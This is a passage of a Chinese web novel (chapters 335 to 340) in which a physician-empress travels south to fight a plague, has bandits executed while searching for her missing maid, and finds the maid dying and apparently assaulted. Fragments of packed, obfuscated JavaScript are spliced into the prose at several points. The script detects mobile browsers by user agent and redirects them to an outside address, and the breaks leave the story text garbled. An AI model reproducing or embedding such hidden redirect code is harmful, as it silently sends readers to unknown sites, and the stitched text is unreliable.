她有自己想要做的事情,绝不可能一直待在宫里。 南方鼠疫一日不除,她睡觉,一日都不会安心。 “我没说不顾百姓!”宋墨辰提高了嗓音,“我可以派所有御医,乃至京中所有大夫去江南,这样还不够吗?非要你亲自去才行?为什么你每次都要把自己置于险境?” “不够!”秦时月摇头,“江山社稷当以民为本,陛下该支持我,而不是拦着我!” 这一刻,她忽然感觉他好陌生。 若是换做以前,他是不会阻拦自己的,他会站在自己身边,支持自己做出的任何决定。 为何这次却…… 第335章 不欢而散 “我拦着你,是因为我在乎你!”宋墨辰怒吼,“我不想你去送死!” 听到这话,秦时月愣了一下,随即笑道:“在你眼里,我去南方就是送死?你要是真觉得我不行,当初又何必认可我的医术?” 宋墨辰突然意识到自己说错话了,但他不愿服软,只一味道:“月月,我是为了你好。” “陛下!”秦时月喊了一嗓子,“若你真的是为了我好,就不应该阻止我。” 看着她毫不退让的模样,他心里又气又急。 他知道秦时月说的是对的,可他就是没办法眼睁睁看着她去冒险。 宋墨辰沉默了片刻,语气稍缓,“至少等京里疫症完全稳住,至少让我派足够多的人护着你,不然我绝不同意。” “我意已决,你就算拦着我,我也会想办法去!” 宋墨辰看着她决绝的眼神,知道她是真的不会退让了。 说完话,秦时月将药方交给一旁的小太监,随后背起自己的药箱,转身离开。 小太监吓了一跳,想拦又不敢。 宋墨辰看着她的背影消失在门外,胸口一阵发闷,忍不住咳了起来。 听到声音,秦时月的脚步停了一下,随后咬咬牙,头也不回的走出景耀殿。 没有任何人敢阻拦她。 看着她离开的背影,他脸色难看,自嘲的笑了笑。 他在床上躺了一会儿,不知不自觉就到了深夜。 侍书守在宋墨辰床前,不免有些担心。 “陛下,吃些东西吧。”侍书端来一碗清粥放到一旁的案上。 “她呢?”宋墨辰叹了口气。 侍书迟疑的回答,“据影卫回禀,说是娘娘在收拾东西,看样子,是做好了启程的准备。” “果然,我拦不住她。”宋墨辰睁开眼睛,倚在床榻上,神情有些落寞。 “陛下……”侍书不知该说些什么,只好闭上了嘴。 就在宋墨辰还想要说些什么的时候,影三突然跑了进来。 他喘着粗气,直接跪在床前,神情紧张,“陛下!边关八百里加急!” 宋墨辰的眉头瞬间拧紧,方才,他天人交战,最终决定,要和秦时月一起去南方。 但现在,所有的思绪都被这封急报打断了。 他立即起身,伸手接过密信。 “北狄骑兵突袭,已破三道防线。”影三禀报。 竟有此事! 原以为只有南国与契丹对靖垣虎视眈眈,不曾想,北狄竟在此时生事! 边境一旦失守,北狄骑兵便可长驱直入,到时候靖垣百姓定会遭难。 原本宋墨辰还想着,等处理完鼠疫的事,就补办册封仪式,陪秦时月去京郊的行宫散心,可如今边关告急,别说陪她去南方,怕是他都无法留在京城。 大将军已死,朝中带兵之人屈指可数…… “陛下,北狄骑兵骁勇善战,且边境地势平坦,不利于防守,依属下之见,需即刻调派京中禁军驰援。”影三说道。 “朕明白。”宋墨辰叹了口气,似是做出了什么重大决定似的。 但在做出这个决定之前,他需要为秦时月安排好后续的事情,让她没有后顾之忧。 半晌,他抬眸,隔空看向长乐侯的方向,淡淡说道:“命太医院挑选医术精湛的太医,跟随皇后前往南方,同时调派户部拨出十万两白银,用于采购药材和救治百姓。” “是。”侍书领命。 “让她务必保重身体,若有任何需求……可随时传信回京。”宋墨辰眸光沉沉。 “属下明白。”侍书拱手,随后起身匆匆退了出去。 宋墨辰知道,秦时月此去南方,必定会面临诸多困难,可他此刻被边关的战事拖住,根本无法脱身。 有那么一瞬间,他突然感觉做这个皇帝,是无趣的。 先前做辰王的时候,还能与她时常见面,如今做了皇帝,政务缠身,半个月也不一定能见上一次。 可如果他不做这个皇帝,他就无法保护她。 待侍书退下后,影三抬头看了看宋墨辰,欲言又止。 此刻不应该探讨如何迎敌吗?陛下为何要给太医院下旨?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342716|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这是影三想不明白的事情。 思索了半晌,影三开口说道:“陛下,北狄来犯,怕是早已摸清我国鼠疫之事,想趁我国内忧之际,对付我国。” “我知道。”宋墨辰冷笑一下,眸光如炬的看向影三,“所以朕打算,亲自挂帅,前往边境。” 闻言,影三猛地抬头,“陛下!万万不可!您是九五之尊,岂能亲赴险境?且皇后娘娘前往南方,您若再离京,朝中无主,恐生变故!” “朕何尝不知其中风险?可眼下前朝无人可用,若朕不出马,边境一旦失守,后果不堪设想。”宋墨辰叹了口气。 “陛下,您的身子要紧啊。”影三看向桌上的那碗药。 宋墨辰知道自己身子无碍,只是这些天太忙碌,一时累到罢了。 更何况,秦时月留下了药方,他只要时常喝着即可。 “朕意已决,你不必劝。”他的眼神坚定不已。 “陛下若真要亲征,臣愿随陛下出征!”影三恭敬道。 如今朝中确实无人可用,陛下亲自出征,或许是唯一的办法。 “此事暂且保密,待明日朝会,朕再正式宣布亲征之事,你先去准备,务必做到万无一失。” “是!”影三领命退下。 宋墨辰知道,此去边境前路未卜,可身皇帝,他必须扛起这份责任,守住江山。 影三的脚步声刚消失在殿外,殿外就传来侍卫的通传声,“陛下,影九大人求见。” 影九回来了,想来是南方的情况打听清楚了。 “让他进来。” 不多时,影九快步走入。 见到宋墨辰后,立刻跪地行礼,“陛下,属下已经查清,南方鼠疫严重,属下已派人收购药材运往南方,但依旧不够……” “官府那边呢?”宋墨辰问道。 “官府已派兵维持秩序,可百姓怕得厉害。”影九抬头,“有些地方引起了骚乱,朝廷的人进不去。” 听到这话,宋墨辰心头一紧。 此时秦时月去南方,若遇见刁民可如何是好!? 第336章 小荷被咬 再者,南方鼠疫严重,他着实不放心秦时月一人。 宋墨辰忽然开口,“你去寻侍书,说是朕的命令,跟他交接,命他即刻去收拾行装,带上几个人影卫,明日一早悄悄跟着皇后去南方!” 影九愣住,连忙抬头,“陛下?那京中?” 方才来的路上,他便听影三说,陛下要亲自去边境。 侍书大人此时离京,绝不是好事。 “京中之事无须你操心,自有太后娘娘决断。”宋墨辰打断他。 待他离开后,太后会撑起京城的一切事物,他知道母后的能力。 “皇后此去,面对的不只是疫病,还有乱民,甚至可能有别有用心之人趁机作祟,告诉侍书,去了,务必护她周全!” “是。”影九领命。 “告诉侍书,不要同她说……朕要亲自领兵一事。”宋墨辰眸色黯淡了一瞬,吩咐道。 边关战事凶险,若是让她知道自己要亲赴前线,她在南方怕是连觉都睡不安稳。 “属下明白!” “疫病凶险,让侍书多带些防治的药材。”宋墨辰又不放心的说道。 上次在禹城,他见识过疫情的可怕。 “陛下放心,属下会和侍书大人互通有无,若是真有紧急情况,属下就是拼了这条命,也会在第一时间赶过去,一起护着皇后娘娘平安回京!” 闻言,宋墨辰点了点头,声音里带着几分疲惫,“你下去准备吧。” 影九躬身退下,殿内再次恢复了寂静。 …… 三日后,清晨,一辆不起眼的马车驶入南方地界,车帘被风吹得微微晃动,里边坐的,正是秦时月。 她掀帘望去,只见该是炊烟袅袅的村落,此刻却变得格外死寂。 “小姐,前面就是南方了。”小荷说道:“昨儿个路过的人说,府城门口都设了岗,只许进不许出。” 秦时月放下车帘,深吸一口气,“知道了,继续往前走吧。” 马车行至府城门口,几个守卫立即围了上来,将其拦下。 “只许进不许出,你们确定要进吗?”蒙着面巾的守卫好心提醒。 如今城中疫情泛滥,实在没必要再多添病患。 秦时月掀帘下车看着侍卫,“我此次前来,是为了救治城中的疫民,这是我的通关文牒。” 闻言,守卫愣了一下,象征性的检查了一下叹息道:“城内疫病凶险,姑娘不该来……” 这个年头,不会有人想进这里,便是穷凶极恶的歹徒,也不会,所以,他们实在没必要过多盘查。 “我是医者,开城门,让我进去吧。” 见秦时月执意要进入,守卫不好再说什么,连忙打开城门,放一行人进入。 进入城内后,眼前的景象比她想象中还要糟糕,让她瞬间想起了当年的禹城。 街道上空空荡荡,家家户户都紧闭门窗,偶尔能听到屋舍里传来的咳嗽声。 义仓里挤满了病患,稻草铺在地上,上面躺着一个个呼吸急促的人,有的还在不停咳嗽。 几个蒙着面巾的医者正忙着给病患喂药。 秦时月走上前,蹲下身子,仔细查看一个病人的脉象。 “这疫病来势凶猛,脉象浮而无力,显然是邪毒入体,伤及肺腑,你们之前用的是什么方子?”她皱着眉,问道。 闻言,几个医者连忙抬头,看向秦时月的方向。 他们没想到,一个看上去不过二八芳华的小姑娘,竟有如此医术。 “用的是清热解毒的方子,可效果甚微,好多病患喝了药,病情还是会反复。”一个医者叹息一声,说道。 同为医者,同是为了一城百姓,他们自然不会对秦时月抱有敌意。 “这疫病并非单纯的热毒,清热解毒的方子只能治标,不能治本。”秦时月转身对小荷说道,“把我带来的方子拿来。” “是。” 不多时,小荷便将方子拿了过来。 几个医者看了看方子,像是明白了什么,立即恍然大悟起来。 “不错不错,我说总觉得少点什么,原来是差了一味最重要的!我们这就按照新方子来。” “不好了!”一个守卫匆匆跑进来,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16342717|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城西那边又出现了十几个病患,可经过询问,他们没有接触过鼠类……” 听到这话,秦时月心中猛地一沉。 看来出现了人传人的现象,糟糕! 必须尽快解决鼠疫,否则后果不堪设想! “现在起,隔离重症病患,避免与健康人接触。”秦时月拧眉,一脸严肃的吩咐,“你立刻去通知知府,让他派人把城西的病患都转移到义仓来,单独划分一块区域安置,还有,告诉城中百姓,尽量不要出门,不要与外人接触。” 守卫见秦时月镇定自若,又是从北方来的,便猜测秦时月是京城中的大人物,立即领命去通知知府。 几个医者则是按照秦时月给的方子开始配药、煎药。 早一日治好病人,南方的疫情就能早一日稳定。 不一会儿,药就煎了出来。 “小荷,来帮忙。”如今人手不足,秦时月只能看向小荷。 “是,小姐。”小荷撸起袖子走了过去。 “小荷姑娘,这边的药碗不够了!”一个老医者朝她喊了一声。 “来了!”小荷应着,带着人加快脚步往堆放碗具的角落走。 刚拐过拐角,却迎面撞上一个跌跌撞撞的身影。 “水,我要水……”。 小荷下意识地想扶他,可那病患却像是突然被刺激到,猛地抓住她的手臂,张开嘴就咬了下去。 “快拉开他!”一个医者看到这一幕,立即赶了过来,将病患拉开。 小荷踉跄着后退两步,低头看向自己的手臂,一圈深深的牙印上,带着一圈血珠…… 她小脸一白,大脑“嗡”的一声。 这几日她跟着小姐整理病例,比谁都清楚疫病的凶险。 若是自己真的染病,待在小姐身边,迟早会把病传给她…… “小荷姑娘,你没事吧?我来帮你看看。”医者看着她的手臂伸出手,满脸担忧。 “不用!”小荷面色惨白的抬手将伤口死死遮住,眼神慌乱的道:“我没事,他没伤到我,你快把他送回隔离帐,别让他再跑出来了。” 第337章 小荷大义,只身离开 打发走医者,小荷躲到义仓后院的老槐树下,背靠着树干,浑身无力的滑坐下来。 她低头看着手臂上的伤口,眼泪忍不住涌了上来。 她跟着小姐那么多年,早就把小姐当成了亲人,可如今,自己要变成她的累赘了。 不行,她不能成为小姐的累赘,更不能成为小姐生命安全的威胁! 想到这儿,小荷抬头看了看义仓的方向,眼眶泛红。 小姐一生治病救人,为国为民,即便是此时这样严峻的情况,小姐也义不容辞的亲自赶到疫区,她,不能拖累小姐…… 小荷深吸一口气,擦了擦眼泪,起身往义仓后门走去。 踏出义仓大门的那一刻,小荷再也忍不住,眼泪簌簌地往下掉。 小姐,等我,若是小荷能熬过这一关,一定回来继续伺候您。 若是不能,就当我从没陪您来过这南方吧。 此时秦时月正在病患之间周旋,她眉头紧皱,思索着该如何改良方子,才能更好的处理鼠疫。 渐渐的,暮色上移,她揉了揉发酸的手腕,抬头望向帐外。 “小荷。”她轻轻唤了一声。 帐外没有传来小荷的回应。 “小荷?”秦时月皱皱眉,又喊了一声。 依旧没有回应。 奇怪,小荷呢? 往日这个时辰,小荷早该进来掌灯了,可今天却不见踪迹。 难道是太忙了吗? 秦时月起身走到帐口,负责分药的医者正好路过,她连忙叫住人。 “大夫,今日见过小荷吗?” 闻言,大夫思考了一会儿,“见过,但下午分完药就没再看到小荷姑娘了,可能是去后院了吧。” 听到这话,秦时月心里隐隐泛起一丝不安,转身往后院走。 后院的晒药场空荡荡的,地上连个人影都没有。 她又去了存放药材的偏帐,可依旧没有小荷的影子。 奇怪,小荷去哪里了? 如今疫情严重,小荷可不能乱跑,若是被传染她会格外紧张。 小荷向来细心,就算要出门,定会提前跟她说一声,绝不会像现在这般。 难不成是遭遇了什么不测? 秦时月的指尖微微发抖,一股不祥的预感涌上心头。 肯定是出事了。 想到这,她心里一慌,转身就要吩咐侍卫备马,去找小荷。 就在这时,身后忽然传来一道熟悉的声音,“时月,此刻出城怕是不安全。” 秦时月回头,只见耶律良才身着青色长衫出现在自己面前。 她愣了愣,随即皱起眉头,“你怎么在这里?” 难不成耶律良才一直跟着自己? 耶律良才走上前,满脸欣喜的看着她,“你是说过,可南方疫病凶险,又逢流民作乱,我实在放心不下,就算你不许,我也会暗中跟着,至少能护你周全。” 秦时月没时间跟他废话,皱着眉头,往门口走去。 他来都来了,如今找到小荷的下落才是最重要的,只要他不是来添乱的就好。 上次禹城一事,耶律良才确实也有功劳。 见她不理会自己,耶律良才表情凝重的喊道:“时月!此刻不是感情用事的时候。” “方才我在城外探查,发现东边起了乱子,有几个染了病的流民闯进了附近的村落,村民们拿着农具反抗,已经伤了好几个人,若是乱子蔓延到义仓来,这里这么多病患,后果不堪设想!” “流民那边可有官府的人去处置?”秦时月顿了一下,问道。 “官府派了人,可流民人数太多,根本拦不住。”耶律良才摇头,“我已经让我的手下先去东边稳住局面,但终究不是长久之计。” 原本他是不打算管的,直到他听说南方的疫情出现了人传人的现象。 秦时月一直在病患之间周旋,被传染的几率非常大,他不能接受这种结果,所以才出手**了一下。 秦时月沉默片刻,心中已有了决断。 她看向一旁的侍卫,沉声道:“你去和知府说一下,立刻挑选二十个精锐侍卫去东边,务必守住义仓到东边的路,别让乱民闯进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350760|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,另外,在派十个人守住大门,严查进出的人。” “是!”侍卫领命,立刻去召集人手。 耶律良才看着她,眼中带着几分担忧,“那你呢?你打算去哪?” “小荷到现在还没回来,我必须去找她。”秦时月语气坚定,转身就要去牵马,“我带几个人出去,找到小荷就立刻回来。” 小荷那丫头到现在都没有消息,怕是独自去了城外,她决不能放任她一个人在外边…… “万万不可!”耶律良才连忙拦住她,“城外夜色已深,又逢流民作乱,岂能亲自涉险?” “放手!”秦时月眼神凶狠,声音里满是警告。 他心中酸涩,但还是忍不住说道:“我去,我派人去城外找,你留下来。” “不行。”她摇摇头,“小荷跟了我这么多年,我早已把她看做了我的亲人,她现在下落不明,我不能坐在这里等消息。” “……我同你一起。”耶律良才只能退而求其次。 至少,真遇到什么,有他在,他总能护她一时。 秦时月思索再三,换了一副语气说道:“小荷我自己去找,你帮我做件事吧。” “何事?”耶律良才问道。 “你留下来,务必保护好大夫和病患,我很快回来。” 看着她眼神坚定,耶律良才知道自己劝不动她,攥着拳头应了下来,“好,不过,你务必小心,若是遇到危险,就放信号弹,我的人会立刻赶过去支援。” 秦时月点了点头,带了几个侍卫,牵马离开。 他站在原地看着她迅速远去的背影,眉头紧锁。 走出义仓后,秦时月对侍卫说道:“先去附近的山脚下看看。” 侍卫们应了声,跟着她往城外的山脚方向狂奔,走了约莫半个时辰,终于到了山脚下。 侍卫们点燃火把,在附近的草丛和树林里仔细搜寻,喊着小荷的名字。 可林子里没有任何回应。 天慢慢亮了。 虽然一夜未睡,但秦时月丝毫感不到疲惫,她只想尽快找到小荷。 第338章 被流寇围堵 “小姐,前面有个茅草屋,属下去问问。”侍卫指着不远处的屋子,道。 秦时月点头,见侍卫离开,这才翻身下马,牵着马加快脚步朝着茅草屋走去。 茅草屋的门虚掩着,里面传来微弱的柴火声。 侍卫重重叩了叩门。 “谁啊?” “老人家,我们是来找人的,想向您打听个事儿!”侍卫隔着门喊道。 门吱呀一声打开,露出了一张满是沟壑,胡子花白的人脸,“你们要找什么人?这荒山野岭的,哪有人。” “我们要找一个十六七岁的姑娘,梳着双丫髻,大概这么高,小脸圆嘟嘟的,笑起来有两个梨涡……” 老樵夫皱着眉想了想,“你说的这个姑娘,我约莫半个时辰前见过,她当时慌慌张张的,手臂上缠着布,好像还在流血,往东边的破庙方向去了。” “血?破庙?”秦时月的心猛地一紧,连忙凑过去,紧张的问道:“老人家,那破庙在什么地方?离这里远不远?” “不远,顺着这条小路走一刻钟就能到。”樵夫指了指东边的方向。 “多谢老人家!走!” 话音未落,秦时月已经翻身上马,打马往东边跑去。 小荷受伤了?她到底发生了什么?此时的情况……如何了? 多个疑问让秦时月心里发慌,她不敢多想,只希望小荷能等等她。 一刻钟后,破庙前。 庙宇的大门早已腐朽,只剩下半扇门板歪歪斜斜地挂着。 秦时月翻身下马,皱着眉头对侍卫道:“你们在外围守着,我先进去看看。” “小姐,还是让属下先进去吧。”侍卫连忙劝阻。 “不,我去!”她语气坚定,眼里透着一丝执拗。 她决不允许小荷发生任何意外,这一世,她的小荷要和她幸福安康的过一生! 进入破庙后,秦时月闻到了一股难闻的酒气,垂眸一扫,只见地上散落着几个空酒坛,却不见半个人影。 这些酒不可能是小荷喝的。 秦时月仔细在破庙内检查了一番,却没有小荷的踪迹。 “小荷?小荷你在吗?”她环视一圈,压低声音喊了两声。 可久久没有回应。 难道老樵夫看错了? 还是说,小荷已经离开了这里? 一想到再次丢了小荷的下落,她就一阵心烦意乱,就在这时,破庙外忽然传来一阵脚步声。 紧接着,十几个手持**的壮汉从破败的断壁后冲了出来,瞬间将秦时月团团围住。 为首的流寇满脸横肉,手里握着一把生锈的**,眼神贪婪地盯着她,不善的视线不断在她身上流连。 “没想到这荒山野岭的,还能遇到这么标致的美人,美人,给爷笑一个。” 其他流寇也跟着哄笑起来,嘴里说着不堪入耳的污言秽语。 “放肆!”秦时月冷冷看着他们,眼里不仅没有丝毫惧色,相反,带着上位者的霸气,“你们可知我是谁!” “我管你是谁!”为首的流寇搓着下巴,一脸淫邪,“在这地界上,老子就是王,就算是皇帝来了,老子也照抢不误!” 疫情无情,他都忘了有多久没见过如此标志白嫩的美人了,无论如何,他今日也要开开荤! “兄弟们,上!” 话音一落,流寇们吆喝着冲上来。 门外的侍卫听到声音,立刻抽刀冲了进来,不过须臾,情况逆转,流寇们被团团围在了当中。 流寇们被吓的瑟瑟发抖,胆小的已经跪在地上,不断求饶。 “小姐,如何发落?”侍卫眼神沉沉,里边隐隐带着血气。 胆敢对娘娘不敬,死不足惜! 秦时月微眯着眼,里边闪过一丝急切,“审!” 方才老樵夫说小荷往这边来了,若是她的小荷遇到这些流寇,定是凶多吉少…… 听到命令,侍卫们立即停手,下一秒,秦时月的声音再次响起,“不想死的,我问什么,你们答什么,答错者,死!” 流寇们看到这一幕还有什么不知道的? 原以为是个想趁乱逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350761|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出城的富家小姐,如今看到这阵势,他们便知眼前的人不是他们能开罪得起的。 为首的流寇慌忙点头,生怕应的慢一秒,眼前的小姐就会让人要了他的命。 “你们有没有见过一个十六七岁姑娘?大概这么高,身穿……”秦时月表情稍霁,快速说了一遍小荷的外貌特征。 流寇首领一脸沉思,不知过去多久,恍然大悟的说道:“好像真有个年轻的丫头来过这边,不过咱们没追上,她一路上冲进了山里,此时说不定……已经被山里的野兽吃了……” 流寇越说声音越小,生怕对方一个不快,迁怒自己。 原本秦时月还想着,没有人天生就愿意做穷凶极恶的匪徒,这些人流落至此,大约皆是因为疫病,各有各的不易。 只要能问出小荷的下落,她便饶他们一命。 可此刻,听到这番话,秦时月的眼神瞬间冷了下来。 他们竟然追堵过小河,还将她逼进了野兽横行的大山里! 她向来不是菩萨心肠的人,如今她在乎的人被逼至此,她的眼底,迅速闪过一抹嗜血红光。 东方苑说过,人不犯我我不犯人,人若找死,送他**! 为首的流寇见秦时月脸色不对,心知他的话还是刺激到了她。 吞口唾沫,他抬起眸,贼眉鼠眼又谨小慎微的看了眼她身后的侍卫们,“小,小姐,我们不知道那丫头是您的人,若是知道……” “若是知道又如何?”秦时月突然勾唇笑了,但是笑意不达眼底。 她有武艺傍身,进庙尚且被这些流寇围住欺辱,何况是手无缚鸡之力的小荷? 她甚至能想到她的小荷在面对这群凶神恶煞之辈时,是怎样的惊慌失措,是怎样的肝胆俱裂…… 秦时月眼神一变,在流寇心虚闪躲的目光下,右手迅速抽出侍卫腰间的长刀,手腕一转,寒光乍现,长刀瞬间划破了流寇首领的喉咙。 流寇首领不敢置信的瞪大了眼睛,他双手捂着脖子,眼睛圆睁,瞳孔逐渐涣散,不到片刻便重重倒在地上,没了气息。 第339章 找到了她的小荷 看到这一幕,其余流寇瞬间愣在原地,都被吓的心里发颤。 他们没料到,眼前娇滴滴,身量纤细的千金小姐竟如此狠辣、狠绝…… “小姐……”侍卫们也愣了一下。 娘娘千金贵体,这等肮脏人的血,只会污了她的眼…… 秦时月手握长刀立身于已然破损的泥塑佛像下,眼神冰冷,如同罗刹再世。 “我再问最后一遍!有没有见过那个姑娘!?若是有半句虚言,他,就是你们的下场!” 流寇们被她浑身的煞气震慑住,有几个胆小的,裤裆下已经多了一滩臊气的黄汤。 “小姐饶命!方才穆老大说的都是真的!下午确实有个丫头往这边跑,可我们追了几步就没追上,不知道她跑去了哪里!” “真的!?”秦时月危险的眯着眼,目光紧紧盯着他。 另一个流寇连忙点头,“真的!我们不敢骗您!” “我们就是因为疫病闹得活不下去了,逼不得已才来这里当流寇,从来没抓过什么姑娘啊!” “对对,我们都是刚凑到一起的,还没做过什么……” 他们做过的伤天害理的事不少,欺男霸女的事更是家常便饭,只是这个时候,他们无论如何也不能承认。 承认,就意味着,死! 秦时月看他们表面惊恐,实则眼珠乱颤、心虚的模样,抬手将刀扔回给了侍卫。 她随宋墨辰上过战场,是实实在在见过杀过人的战士的眼神,他们,绝不像他们说的那样无辜! “全杀,不留。” 她给过他们机会了,既然到了如今他们还是满口谎话,那就没有留着的必要了。 况且,让这些人活着,是对百姓安危的不负责任! 闻言,侍卫们愣了一下,不确定自己听到的命令。 流寇们听到她的话,更是纷纷跪地开始求饶,“不,不……我们都是被逼的,求小姐饶了我们。” 看到这一幕,秦时月的脸上没有任何表情,只是头也不回的转身往外走去。 她还要找她的小荷,没时间在这里多待! 侍卫们心中一沉,动作整齐划一的抽出佩刀,手起刀落,剩下的流寇很快,全都倒在了血泊中。 …… 不知不觉,天已大亮,秦时月一夜未睡,又奔波了一天,眼底生出了些许乌青。 可寻不到小荷的踪迹,她不敢入睡。 她不知道小荷遭遇了什么,若是不能尽快找到小荷…… 她不敢想下去。 就在这时,一个侍卫从远处打马跑来,一近身,立刻翻身下马,恭敬汇报,“小姐,有百姓来报,说见过小荷姑娘的踪迹!” “你说什么!?仔细说清楚,在哪里见到的?”秦时月萎靡的神情顿时来了精神,紧张问道。 “是城西的一个老汉,今日一早他来义仓复诊,说昨天晌午去后山采野菜时,在望风崖下看见了一个梳着双丫髻的姑娘正蹲在溪边喝水,那外形,与小荷姑娘几乎一样。” “望风崖……”秦时月呢喃一句,眼神暗了下去。 她听说过望风崖,那处离义仓约莫两个时辰的路程,据说,崖下有一条溪流,周围尽是密林,平日里鲜少有人去。 不过,小荷为何要去那里? “那老汉还说什么了?”秦时月拧着眉追问。 “他说那姑娘看起来很虚弱,走路都有些晃,手臂好像受伤了,衣服上带着血迹。”侍卫补充道:“老汉本想上前问问,可那姑娘见人就跑,他年纪大了,追不动……” 闻言,秦时月的心像被什么东西揪了一下,又酸又疼。 “走!跟我去望风崖!”想起什么,她扭过头看向一个侍卫,道:“你去义仓那边让契丹大王多照看些,若是有紧急情况,立刻用信号弹传信!” “是!”侍卫领命离开。 望风崖边。 众人赶到的时候,就见一个老汉守在崖边,看到他们过来,连忙拄着拐杖,颤巍巍的走了过来。 “小姐。”老汉学着侍卫的样子,恭敬的对秦时月行了个礼。 “你见过小荷?”事出紧急,秦时月没有半分架子,翻身下马,一脸紧张的问道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350762|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我不知道那姑娘是不是你们口中的小荷姑娘,只是听侍卫长的描述,感觉像。”老汉说道。 “劳烦老人家带路。”秦时月眼眶泛红,眼尾隐隐有盈盈泪光。 无论是否是小荷,总要见到人才行! “这边来。”说着,老汉转过身,开始为众人带路。 “确定是往这边走?” “错不了,我家老婆子前天去采野菜,就见着个一个梳着双丫髻的姑娘在那边,只是那姑娘脸色惨白,走路一步三晃。” 听到这话,秦时月的心突然疼了一下,接下来一路无话,只是众人的脚步快了些。 之后为了不耽误时间,她甚至命人背上老汉,只让老汉帮着指路。 约莫两刻钟吼,前方露出了个歪歪斜斜的草棚。 草棚门口的杂草长得齐膝高,众人拨开草叶,看到了棚子里的景象。 只见干草堆上蜷缩着一个人影,那人露出的胳膊上还沾着泥污和干涸的血渍。 秦时月心头一紧,三步并作两步的冲了过去,当看清那人的脸后,她整个人都觉得胸口针扎般的疼痛,呼吸都顿了一下。 “小荷……”秦时月一开口,就是发颤又紊乱的声音。 可躺在草堆上的人显然早就陷入了昏迷,如此动静下都没有反应。 秦时月内心慌乱,手指发颤的伸手,触碰了一下小荷泛着不正常红晕的脸颊。 好烫! 比发热病人的体温还烫。 就在这时,秦时月又发现,小荷的脸上和脖子上,甚至露出来的手腕上,都布满了深褐色的黑斑。 这是疫症加重的迹象! 她伸手探向小荷的脉搏,果然如她料想的一样,小荷脉搏细弱,几乎摸不到。 联想到前两日她在患者里见过的类似的症状,染了这种黑斑的人,大多撑不过三天…… 她顿时喉头发紧,声音哽咽。 “小荷,我来了。” “小姐,小荷姑娘的领口有被撕扯过的痕迹,下摆……裂了道大口子,露出的肌肤有多处淤青……” 第340章 小荷被辱,秦时月心态不稳 侍卫候在一旁,一眼就看出了不对劲。 虽然不忍,但他还是沉声说道,只希望娘娘能想开些。 “小姐,不如将小荷姑娘交给属下……”身后的侍卫见她怔愣在原地半天没动,蹲下身,低声道。 秦时月眼神呆滞,心里如有一团乱麻。 侍卫的话是什么意思,她心里明镜一样,她只是接受不了她的小荷,生前被人玷污了…… “小姐……” 秦时月没有反应,只是动作僵硬的伸手拢住小荷的领口、袖口,又神情麻木的脱下披风裹在小荷身上,将她紧紧抱在了怀里。 “给本宫查。务必查清在小荷身上发生过什么,一点线索都不能漏。”秦时月声音平淡,像是此事并没有影响到她。 可侍卫却眉心一跳,立刻恭敬跪地,“是!属下这就带人调查!” 这是娘娘头一次以“本宫”自称,虽然她语调平静,但他就是能感受到她平静下的疯魔…… 秦时月抱起小荷,面无表情的抬腿往回走去。 她脚步不快,似乎是怕小荷冷,又把披风紧了紧。 侍卫们跟在后面,没人敢说话。 两个时辰后,义仓。 耶律良才得秦时月带人回来的消息,立刻迎了出来。 当他看到秦时月翻身下马,又回头抱下马背上不省人事的人儿后,眉头瞬间皱了起来。 那是小荷?这是,怎么了? “药炉已经烧起来了。”耶律良才走近,说道,目光却自发落在了昏迷不醒的小荷身上。 秦时月没有回应,只是神情木然的抱着小荷直接进了帐篷里面。 